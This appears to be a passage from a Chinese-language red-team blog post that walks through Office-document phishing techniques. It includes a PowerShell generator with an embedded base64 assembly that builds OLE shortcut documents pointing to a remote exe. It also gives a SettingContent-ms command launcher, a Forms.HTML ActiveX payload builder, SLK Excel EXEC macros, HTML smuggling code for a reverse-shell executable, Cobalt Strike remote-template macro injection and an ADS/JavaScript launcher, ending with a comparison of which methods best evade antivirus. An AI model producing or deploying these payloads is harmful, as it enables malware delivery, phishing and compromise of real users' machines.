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' $DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress) $UncompressedFileBytes = New-Object Byte[](80384) $DeflatedStream.Read($UncompressedFileBytes, 0, 80384) | Out-Null [Reflection.Assembly]::Load($UncompressedFileBytes) | Out-Null # create new Word document $word = New-Object -ComObject Word.Application $word.Visible = $false $doc = $word.documents.add() # HACK: use Packager to create a file icon in the document $null = New-Item $tmpfile -ItemType file $null = $doc.InlineShapes.AddOLEObject($null, $tmpfile) Remove-Item $tmpfile # save doc & close Word $doc.SaveAs($filename) $doc.Close($false) $word.Quit() # create temp folder for modifying the docx $tmpfolder = "$env:TEMP\" + [System.Guid]::NewGuid() $null = New-Item -Type directory -Path $tmpfolder # unzip and replace Packager object [System.IO.Compression.ZipFile]::ExtractToDirectory($filename, $tmpfolder) Remove-Item "$tmpfolder\word\embeddings\oleObject1.bin" # create oleObject header from base64 string $oleheader = '0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAAQAAAAAAAAAAEAAAAgAAAAEAAAD+////AAAAAAAAAAD////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9/////v////7///8EAAAA/v///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////1IAbwBvAHQAIABFAG4AdAByAHkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWAAUA//////////8BAAAAwyqy6sEwzxGn6wAAwFuuCwAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAEACAAAAAAAAAwBPAGIAagBJAG4AZgBvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAgH/////AgAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAABDAE8ATgBUAEUATgBUAFMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgACAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v///wIAAAADAAAABAAAAAUAAAAGAAAABwAAAAgAAAD+//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8AAgMADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATAAAAH5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATAAAAAAAAAABAAAAAQAAAODQVwBzNc8RrmkIACsuEmIAAAAAAAAAAA==' $oleheader = [System.Convert]::FromBase64String($oleheader) # create the shortcut $lnk = [ShellLink.Shortcut]::new() $lnk.LinkTargetIDList = [ShellLink.Structures.LinkTargetIDList]::new() $lnk.LinkTargetIDList.Path = $path # write header and shortcut to oleObject1.bin $oleheader + $lnk.GetBytes() | Set-Content "$tmpfolder\word\embeddings\oleObject1.bin" -Encoding Byte # rezip Remove-Item $filename [System.IO.Compression.ZipFile]::CreateFromDirectory($tmpfolder, $filename) # cleanup Remove-Item $tmpfolder -Force -Recurse
运行这个powershell文件,会生成一个docx文档
打开这个文档对象点击这个txt文件,会加载计算器,当点击两次确定时则会触发。
我们可以将path改为远程的exe的url,目标点击后即可触发上线
1 $path = 'http://192.168.5.123:801/test666.exe'
如何绕过exe点击拦截的限制?
通过上面的实验我们知道当加载exe文件时会有一个安全警告的弹窗,必须用户点击运行后才能执行exe,有没有什么方式可以让word不弹这个框。
使用.SettingContent-ms文件类型绕过限制
.SettingContent-ms格式是在Windows 10中引入的,用于为各种Windows 10设置页面创建“快捷方式”。实际上,它们就是一些XML文件,用于存放Windows 10设置二进制文件的路径。
首先我们创建一个文件,内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?xml version="1.0" encoding="UTF-8"?> <PCSettings> <SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent"> <ApplicationInformation> <AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID> <DeepLink>%windir%\system32\cmd.exe /c calc.exe</DeepLink> <Icon>%windir%\system32\control.exe</Icon> </ApplicationInformation> <SettingIdentity> <PageID></PageID> <HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID> </SettingIdentity> <SettingInformation> <Description>@shell32.dll,-</Description> <Keywords>@shell32.dll,-</Keywords> </SettingInformation> </SearchableContent> </PCSettings>
将该文件保存为test.settingcontent-MS文件并放到如下目录
1 C:\Users\用户名\AppData\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\LocalState\Indexed\Settings\zh-CN
双击该文件即可触发
如果这个文件没有放置在指定的目录,是没有执行权限的。
我尝试将生成的test.settingcontent-MS文件以OLE形式插入到word文档中,经过测试无论是否关闭defender,双击打开都会被查杀。
高版本windows+office是否可以触发?
我是用高版本win10+office可以正常触发。
Microsoft Forms 2.0对象库提供了许多可以在Office文档中使用的“HTML”ActiveX控件。这些控件标记为对初始化是安全的,并且不要求用户为嵌入它们的文档启用ActiveX。
首先使用如下ps代码,生成恶意的docx文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 # target file path $filename = [Environment]::GetFolderPath('Desktop') + '\Forms.HTML.docx' $progid = 'Forms.HTML:Image.1' $clsid = '5512D112-5CC6-11CF-8D67-00AA00BDCE1D' $html = '<x type="image" src="https://securify.nl/blog/SFY20180801/packager.emf" action="file:///c|/windows/system32/calc.exe">' # load assemblies for changing the docx (zip) file [void] [Reflection.Assembly]::LoadWithPartialName('System.IO.Compression.FileSystem') [void] [Reflection.Assembly]::LoadWithPartialName('System.IO.Compression') # create new Word document $word = New-Object -ComObject Word.Application $word.Visible = $false $doc = $word.documents.add() $shape = $doc.InlineShapes.AddOLEControl($progid) # save doc & close Word $doc.SaveAs($filename) $doc.Close($false) $word.Quit() # create temp folder for modifying the docx $tmpfolder = "$env:TEMP\" + [System.Guid]::NewGuid() $null = New-Item -Type directory -Path $tmpfolder # unzip and replace ActiveX object [System.IO.Compression.ZipFile]::ExtractToDirectory($filename, $tmpfolder) Remove-Item "$tmpfolder\word\activeX\activeX1.bin" $clsid = ([GUID]$clsid).ToByteArray() $clsid | Set-Content "$tmpfolder\word\activeX\activeX1.bin" -Encoding Byte $html | Add-Content "$tmpfolder\word\activeX\activeX1.bin" -Encoding Unicode # rezip Remove-Item $filename [System.IO.Compression.ZipFile]::CreateFromDirectory($tmpfolder, $filename) # cleanup Remove-Item $tmpfolder -Force -Recurse
当点击插入的文件,只会弹出一个框,用户点击一次后即可实现命令执行
除了加载本地文件,也可以通过修改action里的内容加载远程的exe文件上线,这个操作会打开浏览器进行文件下载,因此不是很适合加载exe
当我们插入的是远程的hta则只会弹出一个框,当目标点击后即可上线
但是在装有chrome的电脑中,点击确定后还是会使用chrome进行下载而不是直接执行。
SLK Excel钓鱼 什么是SLK Excel?
SLK文件是一种以Microsoft创建的符号链接(SYLK)格式保存的文件,用于在电子表格程序和其他数据库之间传输数据。 它包含由分号分隔的文本行,用于指定单元格的行,列,格式和内容。
如何使用SLK 进行命令执行?
将如下代码写入test.slk文件
1 2 3 4 5 6 ID;P O;E NN;NAuto_open;ER101C1;KOut Flank;F C;X1;Y101;K0;EEXEC("calc.exe") C;X1;Y102;K0;EHALT() E
打开该文件并且选择开启宏即可实现命令执行
slk文件也可以保存成cvs,不过保存为cvs打开后首先会弹出一个框让目标确定,当目标确认后才能打开文件
嵌入视频钓鱼(失败) 首先创建一个docx文件,选择 插入->联机视频
在弹出的框中选择任意一个视频,我在网上随便找了个视频
1 http://img.ksbbs.com/asset/Mon_1703/05cacb4e02f9d9e.mp4
插入后保存,将这个docx文件重命名为zip,找到word目录下的document.xml文件,将这个文件单独解压出来
打开这个文件,找到embeddedHtml属性,这个属性中是可以嵌入html代码的
如何通过html执行我们的恶意文件?
这里我以calc.exe为例,首先使用命令行将calc.exe打包为base64
将calc.txt中的换行去掉,放到如下代码模板中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <html> <body> <script> function base64ToArrayBuffer(base64) { var binary_string = window.atob(base64); var len = binary_string.length; var bytes = new Uint8Array( len ); for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); } return bytes.buffer; } // 32bit simple reverse shell var file = 'base64代码'; var data = base64ToArrayBuffer(file); var blob = new Blob([data], {type: 'octet/stream'}); var fileName = 'evil.exe'; if (window.navigator.msSaveOrOpenBlob) { window.navigator.msSaveOrOpenBlob(blob,fileName); } else { var a = document.createElement('a'); console.log(a); document.body.appendChild(a); a.style = 'display: none'; var url = window.URL.createObjectURL(blob); a.href = url; a.download = fileName; a.click(); window.URL.revokeObjectURL(url); } </script> </body> </html>
将file变量中的内容进行替换,将这个文件保存为html文件,当目标点击了这个html文件,会弹出是否运行的按钮,点击运行后即可执行文件。
然后我们只需要将这个文件的内容插入到embeddedHtml的内容中就可以了,需要注意的是html中的特殊字符需要进行实体编码才可以。可以使用这个 进行html编码,将编码后的内容替换,再将document.xml压缩到zip包中,再将zip改名为docx,打开docx并且双击播放视频,即可下载文件,不过这个我复现失败 了。
远程模板注入宏钓鱼 为什么要使用远程模板注入宏?
有些杀软在检测到docm文件会进行查杀,但是不会docx文件,因为docx中不能去执行宏
如何使用远程模板注入宏?
首先使用CS生成宏
创建一个docx文件,在视图中找到宏,创建一个宏,将CS生成的内容放进去
编写完成后将文件另存为dotm格式。
选择任意一个模板创建docx文件
将创建的docx文件重命名为zip格式,将word\_rels\settings.xml.rels解压出来,留意target后面的内容
可以将这个地址改为创建的dotm文件的路径web路径,将settings.xml.rels重新保存到zip文件中,并将zip重命名为docx,打开后点击确定和启用即可上线
使用ADS和JS钓鱼 什么是ADS?
可以理解为windows的文件特性,这个要描述的话比较复杂,我找了一篇文章[这里](https://www.freebuf.com/articles/73270.html)
如何使用ADS?
我们生成一个文件
1 echo Hello world > test.txt:test666
此时如果我们直接用dir查看仅仅能看到内容为空的test.txt
当用dir /r查看,才可以看到隐藏的test.txt:test666文件
也可以通过powershell查看隐藏的文件内容
1 Get-Content test.txt -stream test666
使用ADS和JS钓鱼利用过程
首先将calc.exe写入文件流
1 type calc.exe > test.txt:calc.exe
使用mklink创建链接,需要使用高权限才能创建。
1 mklink C:\Users\jerry\Desktop\test888.txt C:\Users\jerry\Desktop\test.txt:calc.exe
再创建一个read.txt文件内容随便写,创建一个js文件,内容如下
1 2 3 var objShell = new ActiveXObject("shell.application"); objShell.ShellExecute("cmd.exe", "/c test888.txt", "", "open", 0); objShell.ShellExecute("read.txt", "", "", "open", 1);
双击这个js文件即可执行命令,并且打开文件
这里确实实现了执行我们exe的功能,但是如果要把这个文件发送给目标,具体该怎么发送才能让目标点击js执行命令呢,就是如何把ADS文件打包起来发送给目标呢?从这个制作过程来看我认为这种方式用来做权限维持还行,但是不能用来发送给别人钓鱼。
总结 关于文档钓鱼获取权限的部分就总结这么多,这是我们在没有利用各种漏洞的情况下的一些方法。下次再看下关于利用office漏洞进行钓鱼的利用方法。最后我们总结分析一下这些方法,因为我们在真正要去钓鱼的话只是选择一个通用性更高的方式和利用更简单的方式就可以了。
DDE钓鱼
缺点:需要用户点击两次,存在office或者windows的版本限制
优点:不用开启宏,可以以docx的文件格式发送
CHM钓鱼
缺点:通过CHM调用cmd,powershell等敏感进程会被360查杀
优点:无利用条件限制,只要目标点击制作好的CHM文件即可
OLE钓鱼
缺点:需要用户点击插入的文件并且点击一次确定,高版本的windows+office无法利用
优点:不用开启宏
LNK钓鱼
缺点:调用敏感进程会被360拦截
优点:无利用限制,不太容易构造理由让目标点击
IQY钓鱼
缺点:需要用户开启禁用内容并且点击两次确定,存在版本限制,高版本windows+office无法执行
优点:不用开启宏
office宏钓鱼
缺点:需要目标手动点击开启宏,需要保存为docm或者低版本的doc
优点:没有版本利用限制,只需要目标点击一次,
PPT动作按钮钓鱼
缺点:需要用户播放PPT,并且鼠标移动到指定区域,点击确定才能触发。
优点:不用执行其他的特殊操作,只要发送一个正常的ppt就好了
RTLO钓鱼
缺点:defender,360等软件检测到这种命名会直接查杀
优点:将我们的可执行文件后缀伪造为其他后缀
Excel 4.0宏钓鱼
缺点:保存为xlsm格式,需要目标点击开启宏
优点:只需要用户点击一次
office嵌入对象钓鱼
缺点:适用于只装了ie的用户
优点:只需要用户点击执行,不需要开启宏
SLK Excel钓鱼
缺点:需要开启宏,后缀为slk
优点:后缀不是xlsm
远程模板注入宏钓鱼
缺点:需要开启宏
优点: 文件后缀为docx,比较正常
经过以上的对比,我的分析如下:
1 2 3 4 5 6 7 不以office钓鱼 CHM和LNK都可以适用,只要绕过敏感进程的保护就可以了 以office进行钓鱼 DDE、IQY、OLE虽然都不用开启宏,但是有版本限制 office嵌入对象钓鱼 需要用户点击某个文件,并且电脑只安装ie ppt动作按钮触发,需要用户执行某个特定的交互 远程模板注入宏钓鱼 office宏钓鱼 SLK Excel钓鱼 Excel 4.0宏钓鱼 启用宏即可
参考文章
高级组合技打造“完美” 捆绑后门
Cobalt Strike之CHM、LNK、HTA钓鱼
Office Phishing
快捷方式:一种钓鱼攻击的新姿势
office宏
构造PPSX钓鱼文件
利用Excel 4.0宏执行任意命令
CLICK ME IF YOU CAN, OFFICE SOCIAL ENGINEERING WITH EMBEDDED OBJECTS
Red Teaming Experiments
Office的VBA宏攻击(还有远程模板注入)